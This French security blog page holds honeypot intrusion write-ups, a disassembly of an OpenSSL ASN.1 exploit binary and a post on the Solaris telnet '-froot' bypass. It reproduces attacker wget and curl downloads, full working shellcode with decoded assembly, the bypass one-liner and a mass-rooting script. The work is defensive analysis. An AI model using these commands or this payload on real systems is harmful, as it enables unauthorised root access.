Skip navigation.

devloop :: blog

Blog sur la sécurité informatique, la programmation, Linux et le Web

Posts tagged with "faille"

Ma$$ Apache pwnage fr0m R0m4n!4

, , , ...

Ca fait un bon moment que je n'avais pas donné de nouvelles de mon honeypot SSH.
Il faut dire que les visites sont assez rares et généralement peu intéressantes, se terminant par rapatriement d'un EnergyMech, d'un PsyBNC voire du scanner UnixCod qui continue à faire parler de lui.

Aujourd'hui j'ai l'occasion de vous parler de quelque chose de plus croustillant, qui tournera principalement sur l'analyse d'un binaire Linux.

L'intrusion
L'attaque a eu lieu le 25 octobre. Une attaque bruteforce est lançé sur le faux serveur SSH à 14:11 et qui se terminera à 14h36. Il n'aura fallu q'une minute pour trouver les différents comptes avec mots de passes faibles.
Le scan est en provenance de l'ip 121.2.28.199 qui fait partie du réseau du FAI So-net, un fournisseur d'accès japonais et filiale de Sony.
Différents services tournent sur cette machine comme smtp, ftp (Microsoft FTP) et ssh (OpenSSH). Je n'ai pas cherché à en savoir plus mais il est fort possible que cette machine ait été infiltrée pour servir de relais aux pirates.

A 14:25, un premier visiteur "humain" se connecte au serveur en se loggant directement avec le compte "test". L'IP (86.154.169.82) est britanique et correspond au FAI BT. Le seul port TCP ouvert semble être le 5060 (SIP) et doit correspondre à une config par défaut des box fournies par le FAI.

L'historique des commandes est le suivant :
14:25 w
14:26 passwd
14:26 passwd
14:28 cd
14:28 ls
14:29 get help-bnc.6te.net/psybnc-linux.tgz
14:29 wget help-bnc.6te.net/psybnc-linux.tgz
14:30 cdrl -O
14:31 curl -O 77.194.232.72help-bnc.6te.net/psybnc-linux.tgz
14:31 FTP
14:31 ftp

Rien de bien intéressant. L'intrus a voulu changer le mot de passe du compte "test" pour fermer l'accès derrière lui et, voyant que l'accès était refusé, a fait une nouvelle tentative. Il a ensuite essayé de télécharger un PsyBNC avant de laisser tomber.

Le relais est pris par l'IP 82.77.174.40 à 14:35. Ce visiteur de Romanie (le FAI RCS&RDS gère à peu près tout ce qui touche aux communications) se connecte là encore directement avec le login "test". Il pourrait s'agir du collègue du premier ou encore du même visiteur qui a décidé de passer par un relais. Un petit coup de myIPneighbors nous apprend que différents sites Internet sont accessibles à cette adresse.
Les commandes lancées sont les suivantes :
14:35 cd ..
14:35 cd ..
14:35 ls
14:35 wget
14:35 wget www.[retiré].us/p/scan/scan.tar
14:36 ftp -cv wave.prohosting.com
14:37 ls
14:37 csd ..
14:37 cd ..
14:38 chmod +x *

Là encore, le visiteur ne fera pas de vieux os. Il a toutefois tenté de rappatrier un outil de scan intéressant :smile:

scan.tar.gz

Contrairement à ce que l'extension du fichier laissait supposer, le fichier est bien compressé à l'aide de gzip. Une fois décompressé, l'analyse de l'archive scan.tar ne nous apprend rien de particulier (voir mon article sur l'analyse de fichiers tar). L'archive est au format ustar mais les noms d'user/group sont vides. Ce qui ne nous aurait pas appris grand chose de toute façon car l'archive semble avoir été créée en tant que root. Par contre on connait les dates de dernière modification des fichiers contenues dans l'archive sur le système du pirate.

Les fichiers présents dans l'archive sont les suivants :
  • e : un exécutable 32 bits, lié dynamiquement, strippé, datant du 4 juillet 2006.
  • ee : un fichier texte, plus précisemment une suite de ligne de commandes (mais sans entête de script bash). Le fichier est daté au 4 décembre 2006
  • SCANNER : un exécutable 32 bits, lié dynamiquement, strippé et modifié pour la dernière fois le 26 septembre 2006.
  • vuln.txt : un fichier texte avec des CRLF en caractères de terminaison. Daté du 16 juin 2007, il contient des adresses ips avec à chaque fois un entête de réponse HTTP associé.

Pour plus de détails, les commandes dans le fichier ee ressemblent à ceci :
echo -e '\033[36m Exploiting \033[34m '$1'  \033[36m using apache 2.0.40 target 10 [Make by Evolver & Snake] \033[m'
./e -t 10 -r $1
./e -t 10 -r $1
...

Le script utilise le caractère d'échappement pour afficher des couleurs sur le terminal et exécute le binaire e avec le paramêtre "t" qui varie (bien qu'à chaque fois utilisé environ 10 fois) pour différentes versions d'Apache.
Le paramêtre qui doit être passé eu script ($1) est une adresse IP comme nous le verrons un peu plus bas :wink:

Le fichier vuln.txt ressemble à ceci :
200.241.116.58
HTTP/1.1 200 OK
Date: Thu, 14 Jun 2007 14:42:51 GMT
Server: Apache/1.3.27 (Unix) PHP/4.3.1 mod_ssl/2.8.12 OpenSSL/0.9.7a
Last-Modified: Sun, 15 Jun 2003 10:21:02 GMT
ETag: quot;20ab4-1-3eec488equot;
Accept-Ranges: bytes
Content-Length: 1
Connection: close
Content-Type: text/html


-------------------------------------------------------------------
200.241.204.37
HTTP/1.1 200 OK
Date: Thu, 14 Jun 2007 15:12:02 GMT
Server: Apache/2.0.44 (Unix) mod_ssl/2.0.44 OpenSSL/0.9.7a PHP/4.3.1 mod_jk/1.2.6
Connection: close
Content-Type: text/html; charset=ISO-8859-1


-------------------------------------------------------------------

Seul le format (une adresse IP, un header HTTP, un ligne de tirets) est à prendre en considération. on trouve aussi bien des entête Apache que IIS avec des configurations variables.

Analyse du binaire e

Bien que j'ai analysé les deux binaires, je me tiendrais ici à l'analyse de l'exécutable "e", les deux binaires ayant des fonctions très proches. Le binaire fait 75.4 Ko soit 4ko de plus que celui nommé SCANNER.

L'analyse a été faite seulement par désassemblage à l'aide de la dernière version de HT Editor (2.0.10) en suivant une méthodologie décrite ici.
Bien que le binaire ne semble pas contenir de backdoor, j'ai préféré ne pas exécuter le programme.

Une fois à l'intérieur du main, la première chose que fais le programme est d'analyser les paramêtres passés en argument. Pour cela il fait appel à la fonction getopt_long(). La chaine pour les arguments aux format court est "hr:p:v:x:cz:s:e:t:".
On en apprend plus sur les paramêtres par le biais des chaines de caractères utilisées dans un boût de code que j'ai baptisé "usage" et qui puts() les chaines suivantes :
  -h, --help          - prints this help
  -r, --hostname      - which box you want hacked ?
                        (default: name returned by hostname function)
  -p, --port          - service port num - users connect
                        to it (https: 443, smtp: 25)
  -c, --check         - check only remote if it's exploitable, not exploit
  -x, --retaddr       - jmp *ecx / call *ecx instruction, (ff e1)
                        request use writeable address (default: 0xbfffe1ff)
                        frist unlink we will write it to some writeable address
  -z, --retloc        - free ()'s got address, some address we should rewrite it
                        (eg: objdump -R /path/httpd | grep free)
  -v, --verbose       - to be verbose
  -s, --gotaddr       - brute attack, guess the free's got address
                        (eg: 0x080xxxxx)
  -e, --stack_addr    - brute stack return address (default: 0xbffffefc)
  -t, --type          - try the knowns targets. (0 to list)

Cette aide est affichée dans plusieurs cas. Le premier si le nombre d'aguments (argc) n'est pas assez grand comme le montre ce code au début du main :
mov ebx, [ebp+8]
cmp ebx, 1
jng 0x0804b77b

Dans ce cas, le programme affiche d'abord la "banière" suivante : "OpenSSL ASN1 deallocation exploit for linux/x86\n this copy for \e[32mrouter\e[0m\0"

Les deux autres cas d'affichage des options sont l'utilisation explicite de l'option -h et l'utilisation d'une option non existante.

L'utilisation de getopt_long() ne facilite pas l'analyse du binaire, heureusement la page de manuelle nous apprend qu'une fois arrivée à la fin des options, la valeur -1 est retournée. On peut alors retrouver la suite de notre main :

Le programme va afficher une bannière avant de faire un signal(SIGPIPE,SIG_IGN) pour empècher que le programme quitte en cas d'erreur lors de la lecture sur un pipe.
On a ensuite un test qui est effectué sur une variable que j'ai baptisé port_443 (car initialisée à 0x1bb = 443, le port pour le HTTPS). Le programme compare simplement cette variable avec la valeur 25 (port SMTP), si la variable vaut effectivement 25, un booléen (baptisé test_443_25 pour l'occasion) est mis à true puis on retourne à l'exécution logique du programme.

L'exécution du programme va alors se séparer en différentes parties en fonction des options qui ont été passées au programme.
Par exemple on peut se retrouver sur une parcelle de code qui commence par l'affichage de la chaine "## this mode only check remote exploitable, not exploit" qui correspond de toute évidence à l'utilisation de l'option -c.
Les autres cheminements possibles sont le mode force brute (-e) et le mode "target" (-t).
Ces différents modes font que l'on peut retrouver à différents endroits les même opérations, l'auteur du programme ayant du faire plusieurs copier/coller.

Par le suite, le cheminement pris pour l'analyse du programme sera celui du mode brute force qui nous accueille avec l'avertissement suivant :

you've enter try to brute-force attack mode, it's will take a very long time, but will stop as soon as it considers that the correct got address could not be found, you are crazy, man P:P


Deux variables sont ensuite initialisés. La première baptisée "leet" est initialisée à 0x7a69 (soit 31337). Le programme fait différentes comparaisons tout au long de son exécution avec cette valeur, et s'en sert notamment pour savoir s'il est en mode verbose.
Quand à la seconde variable, je l'ai baptisée "stack_address" p:
Beaucoup de variables restent pour moi un mystère et il faudrait tracer l'exécution du programme pour déterminer leur rôle.

Le programme appelle ensuite une fonction que j'ai baptisé "tcpConnect".

tcpConnect

tcpConnect est sans doute le nom original qui a été donné à cette fonction. En effet toute erreur détectée à l'intérieur de cette fonction est remontée à l'aide de perror() et d'un message de la forme tcpConnect:nom_de_la_fonction_qui_a_échoué, par exemple "tcpConnect:gethostbyname".
Cette fonction a vraisemblablement été pompée sur un ou deux exploits existants.

Cette fonction prend trois paramêtres : le nom de la machine à attaquer, le port à utiliser ainsi qu'un timeout pour la connexion spécifié en millisecondes (4000 pour la première connexion établie en mode brute force).
En comparant le binaire et les codes sources disponibles pour la fonction tcpConnect, on retrouve bien certains passages comme le remplissage des structures hostent et timeval :smile:
La fonction retourne le socket créé si la connexion a réussi ou la valeur -1 dans le cas contraire.

Au retour du main, le résultat de tcpConnect est vérifié. Si la connexion n'a pas pû être établie, on est redirigé vers une fonction que j'ai baptisée "print_error_and_exit" (je crois que c'est assez parlant) :smile:

HTTPS ou SMTP ?

Si la connexion a réussie, le programme continue son exécution en testant notre variable test_443_25.
Dans le cas d'un port SMTP (valeur = 1), des instructions supplémentaires sont effectuées : la fonction readData est appelée pour lire les données envoyées par le serveur SMTP et le code d'erreur récupéré à l'aide de strtol(). Si le code est 220, le programme ne quitte pas.

readData et writeData

Le nom de la fonction est là encore assez explicite car utilisé dans les messages d'appels à strerror.
Pour résumer, cette fonction est une interface verbeuse de recv() et prends les même arguments : socket, buffer et taille du buffer.
Le nombre d'octets lus est retourné ou -1 en cas d'erreur.

De la même façon, writeData est une interface pour la fonction write() et prend pour arguments le socket, le buffer et sa taille.

SMTP

Toujours dans la partie spécifique au protocole SMTP, le programme va se mettre à communiquer avec le serveur en envoyant la commande "STARTTLS" à l'aide de writeData.
L'utilisation de cette commande est expliquée dans le document SMTP Service Extension for Secure SMTP over TLS :

5. The STARTTLS Command

The format for the STARTTLS command is:

STARTTLS token

where the token parameter is one of the tokens described in Section 4.

After the client gives the STARTTLS command, the server responds with one of the following reply codes:

  • 220 - Ready to start TLS
  • 501 - Syntax error (more than one parameter)
  • 504 - TLS not available due to the server not being able to use the specified protocol
  • 554 - TLS not available due to some other, temporary reason

A publicly-referenced server SHOULD be able to accept other SMTP commands before receiving a STARTTLS command. After receiving a 220 response to a STARTTLS command, the client MUST start the TLS procedure immediately.


Comme on si attend, le programme vérifie à nouveau la réponse. Si on a un code 220 alors tout est ok :smile:

La partie spécifique au SMTP se termine et passe à des routines spécifiques au SSL/TLS.
Les noms que j'ai pu donner à ces routines ne correspondent pas forcément bien à leur rôle, les opérations étant difficiles à comprendre sans connaître en détail le protocole SSL.

SSL et TLS

La première fonction appelée est send_client_hello. Une fonction très courte qui prend comme argument le socket et notre variable leet qui est ici utilisée pour activer ou non le mode verbeux (si égal à 31337).
La première vérification effectuée est de savoir si le protocole utilisé est le SSL3 ou le TLS1. Pour cela la variable is_ssl3_or_tls1 est lue et son contenu (un octet) vient remplacer certains caractères (3ième et 11ème) d'un buffer envoyé ensuite par writeData.
Le buffer en question est préinitialisé à "\0x16\x03\xcc\x00\x61\x01\x00\x00\x5d\x03?AAAAAAAA..."

La réponse du serveur est obtenue par check_handshake. La encore une fonction assez courte mais qui fait appelle à une fonction plus importante nommée read_handshake.
Cette dernière alloue de la place pour de grosses zones mémoires qui sont mises à zéro par memset() avant d'être remplies par la réponse du serveur. Un nombre important de vérification sont alors faites pour s'assurer que le handshake a réussi sans quoi on passe par une fonction handshake_error qui affiche une erreur puis "switch" le SSL3 pour une utilisation du TLS1 (le message d'erreur est explicite).

Vulnérabilité OpenSSL

D'après l'output du programme, la faille exploité est "OpenSSL ASN1 deallocation" qui semble être plus connue sous le nom OpenSSL ASN.1 Parsing Vulnerabilities.
La description CVE de cette vulnérabilité est la suivante :

Double-free vulnerability in OpenSSL 0.9.7 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an SSL client certificate with a certain invalid ASN.1 encoding.


Cette description s'accorde bien avec l'option -z du programme :smile:
Certains exploits existent déjà pour cette vulnérabilité comme un brute forcer ou le openssl-too-open de Solar Eclipse dont certaines parties de code ont (à mon avis) été reprises pour ce binaire.
Core Impact a à priori aussi un exploit pour cette vulnérabilité, je ne serais pas surpris qu'il y ait aussi des similitudes avec celui-ci.

Pwnage

Maintenant que la connexion sécurisée a été établie, la phase d'exploitation commence vraiment.
La fonction exploit fait une bonne taille. Elle prend 4 arguments, le premier étant le socket, le second un offset (adresse de retour) et le quatrième est notre variable leet qui permet d'activer le mode verbeux. A l'heure actuelle le rôle du troisième argument m'échappe toujours :confused:
Comme pour read_handshake, de nombreuses opérations sont effectuées sur des buffers. La première étape est la lecture de données venant du serveur puis la calcul d'un buffer baptisé mega_buf1, modifié en fonction du protocole (SSL3 ou TLS1) pour répondre au serveur.
D'autres paquets de données sont envoyés dans la foulée (mega_buf2 et mega_buf3) donc le rôle semble être totalement protocolaire.
Le programme effectue ensuite une pause d'une seconde avant d'envoyer le shellcode ainsi que l'offset.

Shellcoding fun

Voici un hexdump du shellcode une fois extrait du binaire :
90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
eb 0e 5a 4a 31 c9 b1 99  80 34 11 fa e2 fa eb 05  |..ZJ1....4......|
e8 ed ff ff ff 13 7d fa  fa fa a5 cb 33 4f fe 73  |......}.....3O.s|
31 ab cb 33 4b f9 cb 28  cb 3a 4a cd 37 7a 73 3c  |1..3K..(.:J.7zs<|
73 38 7a 34 f2 bb cb 3a  4a cd 37 7a 73 30 77 b5  |s8z4...:J.7zs0w.|
f2 73 2a b2 37 7a 73 2b  73 08 cb 3a 4a cd 37 7a  |.s*.7zs+s..:J.7z|
a3 7b 85 f2 94 9f 8c 9f  8e fe 18 39 11 47 cb 3a  |.{.........9.G.:|
aa 92 8d ca ca 8e 73 1b  4a fe 73 38 37 7a cb 33  |......s.J.s87z.3|
cb 3a 4a c5 37 7a bb cb  3a 4a c5 37 7a bb cb 3a  |.:J.7z..:J.7z..:|
4a c5 37 7a 73 01 73 a5  f2 cb 3a 73 bd f6 72 bd  |J.7zs.s...:s..r.|
fd cb 28 77 b5 f2 4a f1  37 7a cb 21 73 22 ba 37  |..(w..J.7z.!s".7|
7a 12 8e 05 05 05 d5 98  93 94 d5 89 92 c5 00     |z..............|

On remarque la présence de NOP (0x90) au début, suivi d'un saut (0xeb) qui permettent de le reconnaître facilement :smile:
En revanche la suite n'a rien de bien habituelle, en particulier on note l'absence de la chaine "/bin/sh" :frown:

Pour comprendre le fonctionnement du shellcode, on le place dans un fichier et on tappe ndisasm -u shellcode :
00000010  EB0E              jmp short 0x20
00000012  5A                pop edx
00000013  4A                dec edx
00000014  31C9              xor ecx,ecx
00000016  B199              mov cl,0x99
00000018  803411FA          xor byte [ecx+edx],0xfa
0000001C  E2FA              loop 0x18
0000001E  EB05              jmp short 0x25
00000020  E8EDFFFFFF        call 0x12
00000025  137DFA            adc edi,[ebp-0x6]
...

La raison pour laquelle le shellcode n'est en grande partie pas lisible, c'est qu'une partie est crypté à l'aide d'un XOR.
Le code effectue un saut vers l'instruction call à l'adresse 20. Le call le ramène à la seconde instruction avec l'adresse du reste du shellcode dans la pile (car aucun ret n'a été effectué). Cette adresse est récupérée et placée dans edx.
Toute le code à partir de cette adresse est décodé à l'aide d'un XOR avec 0xfa sur une longueur de 153 (0x99) octets.
Une fois décodé, le code qui nous manquait est :
e9 87 00 00 00 5f 31 c9  b5 04 89 cb 51 31 c9 b1  |....._1.....Q1..|
03 31 d2 31 c0 b0 37 cd  80 89 c6 89 c2 80 ce 08  |.1.1..7.........|
41 31 c0 b0 37 cd 80 89  ca 8d 4f 08 89 d0 48 cd  |A1..7.....O...H.|
80 89 d1 89 f2 31 c0 b0  37 cd 80 59 81 7f 08 6e  |.....1..7..Y...n|
65 76 65 74 04 e2 c3 eb  bd 31 c0 50 68 77 30 30  |evet.....1.Phw00|
74 89 e1 b0 04 89 c2 cd  80 31 c9 31 c0 b0 3f cd  |t........1.1..?.|
80 41 31 c0 b0 3f cd 80  41 31 c0 b0 3f cd 80 89  |.A1..?..A1..?...|
fb 89 5f 08 31 c0 89 47  0c 88 47 07 31 d2 8d 4f  |.._.1..G..G.1..O|
08 b0 0b cd 80 31 db 89  d8 40 cd 80 e8 74 ff ff  |.....1...@...t..|
ff 2f 62 69 6e 2f 73 68  3f fa                    |./bin/sh?.|

soit les instructions suivantes :
00000000  E987000000        jmp 0x8c
00000005  5F                pop edi
00000006  31C9              xor ecx,ecx
00000008  B504              mov ch,0x4
0000000A  89CB              mov ebx,ecx
0000000C  51                push ecx
0000000D  31C9              xor ecx,ecx
0000000F  B103              mov cl,0x3
00000011  31D2              xor edx,edx
00000013  31C0              xor eax,eax
00000015  B037              mov al,0x37 ; fcntl
00000017  CD80              int 0x80
00000019  89C6              mov esi,eax
0000001B  89C2              mov edx,eax
0000001D  80CE08            or dh,0x8
00000020  41                inc ecx
00000021  31C0              xor eax,eax
00000023  B037              mov al,0x37 ; fcntl
00000025  CD80              int 0x80
00000027  89CA              mov edx,ecx
00000029  8D4F08            lea ecx,[edi+0x8]
0000002C  89D0              mov eax,edx
0000002E  48                dec eax
0000002F  CD80              int 0x80    ; read
00000031  89D1              mov ecx,edx
00000033  89F2              mov edx,esi
00000035  31C0              xor eax,eax
00000037  B037              mov al,0x37 ; fcntl
00000039  CD80              int 0x80
0000003B  59                pop ecx
0000003C  817F086E657665    cmp dword [edi+0x8],0x6576656e ; even/neve
00000043  7404              jz 0x49
00000045  E2C3              loop 0xa
00000047  EBBD              jmp short 0x6
00000049  31C0              xor eax,eax
0000004B  50                push eax
0000004C  6877303074        push dword 0x74303077 ; t00w/w00t
00000051  89E1              mov ecx,esp
00000053  B004              mov al,0x4  ; write
00000055  89C2              mov edx,eax
00000057  CD80              int 0x80
00000059  31C9              xor ecx,ecx ; stdin
0000005B  31C0              xor eax,eax
0000005D  B03F              mov al,0x3f ; dup2
0000005F  CD80              int 0x80
00000061  41                inc ecx     ; stdout
00000062  31C0              xor eax,eax
00000064  B03F              mov al,0x3f ; dup2
00000066  CD80              int 0x80
00000068  41                inc ecx     ; stderr
00000069  31C0              xor eax,eax
0000006B  B03F              mov al,0x3f ; dup2
0000006D  CD80              int 0x80
0000006F  89FB              mov ebx,edi
00000071  895F08            mov [edi+0x8],ebx
00000074  31C0              xor eax,eax
00000076  89470C            mov [edi+0xc],eax
00000079  884707            mov [edi+0x7],al
0000007C  31D2              xor edx,edx
0000007E  8D4F08            lea ecx,[edi+0x8]
00000081  B00B              mov al,0xb  ; execve
00000083  CD80              int 0x80
00000085  31DB              xor ebx,ebx
00000087  89D8              mov eax,ebx
00000089  40                inc eax
0000008A  CD80              int 0x80    ; exit
0000008C  E874FFFFFF        call 0x5
00000091  2F62696E2F7368    /bin/sh
00000098  3F                aas
00000099  FA                cli


check_exploit_result

Le shellcode est en grande partie facilement compréhensible : il redirige les entrées/sorties vers un beau /bin/sh prêt à servir.
Pourtant juste avant il effectue un read() puis un write() pour le moins énigmatiques.

Le mystère est levé par un appel à la fonction check_exploit_result qui vient directement après l'appel à exploit.
check_exploit_result prend pour seul argument le socket de la connexion. Il commence par envoyer la chaine "neve" au serveur puis attend une réponse de la part du serveur. Si la réponse contient "w00t", le programme affiche un message de victoire ("w3 g0t 1t") et passe à une fonction get_shell qui envoit quelques commandes pour configurer le shell distant puis récupère ce qui est tappé à la console pour le renvoyer sur le socket et vice/versa.

Le code du shellcode de son côté va lire les données venant du client, et si le message est "neve", il renvoit la réponse "w00t".
Un test pratique pour déterminer si le shellcode a bien été exécuté :smile:

Exit

Pour conclure, le binaire était très intéressant et a sans doute peu circulé à l'heure actuelle. Il semble aller plus loin dans l'exploitation de la vulnérabilité d'OpenSSL en prenant en compte le protocole TLS1 et en s'attaquant aussi aux services de "Secure SMTP over TLS".
L'autre binaire est assez proche à la différence qu'il s'agit d'un scanneur : on lui passe une plage d'adresses IP et il va chercher des machines vulnérables sans les exploiter (la code correspond au mode -c du binaire analysé). Quand il en trouve une il les rajoute au fichier vuln.txt dont on a vu la structure au début.
Et pendant que j'y pense, dans le scanner on trouve des mots en roumain alors qu'il n'y en a pas dans le binaire e.

La meilleure façon de se protéger de cette attaque est d'être à jour de ses logiciels, les offsets proposés par le programmes correspondant aux versions suivantes :
SuSE 9.0 (apache-1.3.28-60.i586.rpm)
SuSE 9.0 (apache2-leader-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-metuxmpm-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-prefork-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-worker-2.0.48-9.i586.rpm)
Mandrake 9.1 (apache2-2.0.44-11mdk.i586.rpm)
Mandrake 9.1 (apache2-2.0.47-1.6.91mdk.i586.rpm)
Mandrake 9.2 (apache2-2.0.47-6mdk.i586.rpm)
Mandrake 9.2 (apache2-2.0.47-6.3.92mdk.i586.rpm)
Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd.worker)
Red Hat 9 (httpd-2.0.40-21.3.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd.worker)

Votre calvaire est fini :D

Des nouvelles des navigateurs

, , ,

Opera travaille activement à une version 9.2 du navigateur ainsi qu'à tout un tas de nouveautés :

significant improvements in the user interface, improved standards support, improved performance, thousands of bug fixes and groundbreaking new functionality.

On devrait aussi voir apparaître un procédé de "completion" des urls que l'on tappe dans la barre d'adresse (à l'instar de la completion des commandes et noms de fichiers sous bash)

Netscape's not dead ! Ils travaillent sur une version 9 du navigateur. Eux travaillent sur la correction automatiques des erreurs de typo dans les urls tappées par l'utilisateur.

Chez Firefox, en dehors des travaux en cours pour une version 3, la principale actualité est la découverte d'une faille très sérieuse découverte par Michal Zalewski qui permet le vol de cookies (un bypass de la vérification faite sur le domaine).

Bypass de l'authentification sous le démon Telnet de Solaris

, , , ...

Une vulnérabilité pour le moins importante a été découverte dans le système d'authentification de SunOs 5.10/5.11.
Même si la faille est recensée comme étant imputable au service in.telnetd, le programme login a son importance dans l'exploitation de la vulnérabilité.

Pour cette vulnérabilité, aucune injection de code ou technique d'exploitation avancée n'est nécessaire. Il suffit juste d'avoir recours à une astuce.

Le serveur telnet ne gère pas l'authentification, il exécute le programme login avec plus ou moins d'arguments.
login a une option -f apparemment non documentée (pas dans la manpage) qui permet de se logger sur le système sans avoir à saisir de mot de passe. Typiquement cette option peut-être utilisée quand l'utilisateur est déjà connecté sur le système.
Une restriction supplémentaire a été mise en place telle qu'expliquée dans le code source : "Must be root to bypass authentification."

Le service telnet fonctionne avec les droits root par conséquent il a la posibilité de bypasser cette authentification, seulement l'option '-f' n'est pas utilisée par défaut. MAIS telnet appelle le binaire login à l'aide de la fonction execl avec comme 8ième argument un beau getenv("USER").

Reste alors à trouver comment fixer le contenu de la variable d'environnement USER à "-f". Et là inutile de chercher bien loin, tout est dans la page de manuel de telnet :

-l user

When connecting to a remote system that understands the ENVIRON option,
then user will be sent to the remote system as the value for the ENVIRON variable USER.


Par conséquent, il ne reste qu'à se connecter sur une machine Solaris de la façon suivante :
telnet -l "-froot" <ip>

pour se connecter en tant que root sans avoir à saisir de mot de passe... ce qui est assez génant ou très hospitalier (tout dépend de quel côté on se place) p:

En attendant que Solaris propose un patch qui ajoutera des vérifications supplémentaires sur le contenu de la variable d'environnement USER, la solution temporaire consiste à stopper le service Telnet ou à le remplacer par quelques chose de mieux (ssh)
Solaris 10 s'en tire pas trop mal sur le coup puisqu'il semble qu'une règle supplémentaire empèche root de se connecter depuis autre chose que la console (voir ici)... seulement ce n'est pas difficile de trouver des comptes existants sur le système (bin, daemon, sys...)

Le login de Mac OS X a une option -f qui suit les même règles (manquerait plus qu'ils aient aussi pompé le code du telnetd, ça pourrait être drôle) alors que sous Linux cette option n'est pas bien claire.

Comme quoi même après des années de développement, une bonne dose de documents sur la programmation sécurisée et du code source vu et revu, on n'est pas à l'abri de laisser passer une faille de sécurité stupide... l'erreur est humaine. On en a vu de bonnes chez Apple récemment :smile:

Une faille similaire avait déjà été découverte en 1994 dans rlogin !!

Intrusion du 24 novembre 2006

, , , ...

Pour plus d'information sur Kojoney, un honeypot ssh, reportez vous à un de mes précédents billets.

Une attaque brute force contre les comptes ssh a été lancée le 23 nomvembre aux alentours de 16 heures. La machine attaquante est localisée en norvège. Le FAI est telenor.no.
L'attaque est plutôt efficace et prend fin à 16h07 après avoir trouvé différents passwords par défaut (ftp, mysql, guest, admin).

Le 24 à minuit et 43 minutes, le pirate se connecte en utilisant le compte ftp. Son adresse IP le situe en Roumanie (FAI Romtelecom). Aucune autre visite n'a eu lieu entre la fin du brute force et son arrivée.
Plusieurs commandes sont lancés afin d'obtenir plus d'informations sur la machine :
uname -a
hostname
cat /proc/cpuinfo

Le visiteur vérifie aussi brievement la présence des commandes tar et wget.
Il va alors tenter à plusieurs reprises de télécharger une archive gzip (conf.tar.gz) mais qui échoue comme le honeypot est à "faible interraction" (aucune commande n'est réellement exécutée, tout est simulé)

Les fichiers présents dans cette archive sont (avec le résultat de la commande file) :
all.chr: data
alnum.chr: data
alpha.chr: data
auto: Bourne-Again shell script text executable
clean: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
digits.chr: data
do: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
ex.pl: perl script text executable
john: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), stripped
john.conf: ASCII English text
lanman.chr: data
mailer: Bourne shell script text executable
o: Bourne-Again shell script text executable
password.lst: ASCII English text
pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
scan: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
ss: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
try: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
unafs: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
unique: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
unshadow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

Les noms de fichiers que j'ai mis en gras devraient être familier à tout ceux qui ont déjà utilisé John the Ripper (un casseur de mot de passe local). La personne qui a généré l'archive n'a visiblement pas fait le tri (unafs, mailer, lanman.chr et unique n'auront probablement pas d'utilité pour l'attaquant)

Le script 'o' lance john sur plusieurs fichiers (non présents) avec l'option -show pour afficher les password cassés. Le fichier a sans doute été mis par erreur ou laissé par oubli.
Le script 'auto' demande un début d'adresse IP (par exemple 192.168.0) et un nom de fichier. Il génère alors une liste d'ips à l'aide d'une boucle (0 -> 255)

Le script perl ex.pl est un exploit pour Webmin qui date de juillet 2006.

Les binaires sont assez énigmatiques. clean semble plus ou moins crypté pour cacher son rôle (un strings ne renvoit rien d'intéressant).
En réalité il lance juste la commande suivante : "rm -rf pass pass2 pass3 john.pot restore john.log ips bios.txt *.pscan.10* wget-log* spart* core*"
On peut se demander l'utilité de passer par un fichier ELF alors qu'un script shell aurait été plus rapide et surtout plus portable...

pscan2 est un scanneur de port horizontal (même port, ips différentes) assez simple qui enregistre les résultats dans un fichier. J'ai pu retrouver le fichier source sur Internet.

"ss" est pour le moins surprenant. Là encore le programme dissimule son contenu. En fait il s'agit d'un scanneur de port horizontal tout comme pscan2 mais bien plus évolué. Il est linké statiquement avec la librairie pcap et envoit des paquets SYN au lieu d'établir des connexions complètes. Le traffic est sniffé afin de détecter quelles machines répondent (et donc savoir celles qui ont un port ouvert).

Ce programme serait tout à fait lambda dans la trousse d'un pirate informatique si les machines qu'il scanne par défaut n'étaient pas aussi "spéciales".
Il semble avoir un intérêt tout particulier pour les sites gouvernementaux et militaires ainsi que les centres de recherches. Ainsi il envoit des paquets sur un bon nombre de .mil, de .gov (et .gov.*), des .edu (comme le célèbre MIT) etc etc :yikes:
Au moins on ne peut pas lui reprocher de faire de la discrimination : Washington, Tel Aviv... et même du côté du soleil levant... tout y passe :left:
Les résultats sont enregistrés dans un fichier "bios.txt"

Tout comme clean, "scan" est juste un script shell passé en binaire pour rendre plus difficile à comprendre son fonctionnement.
Après avoir définit un code couleur, il lance les commandes suivantes :
if [ $# != 1 ]; then
        echo se da: $0 <b class>
        exit;
fi

echo ${YEL}#@@@@@@@@@@@@@@@${BLU}MASSROOTER${YEL}@@@@@@@@@@@@@@@@@@#
echo ${YEL}############${BLU}By b-u-f-u ,lego & dary ${YEL}#########
echo ${YEL}###############${RED}PRIVATE SHIT${YEL}##################
echo ${RES}

./pscan2 $1 20000
sleep 10
cat $1.pscan.20000 |sort |uniq > ips
./do ips
rm -rf ips
echo ${DGRN}#BAFTA!....
echo ${RES}

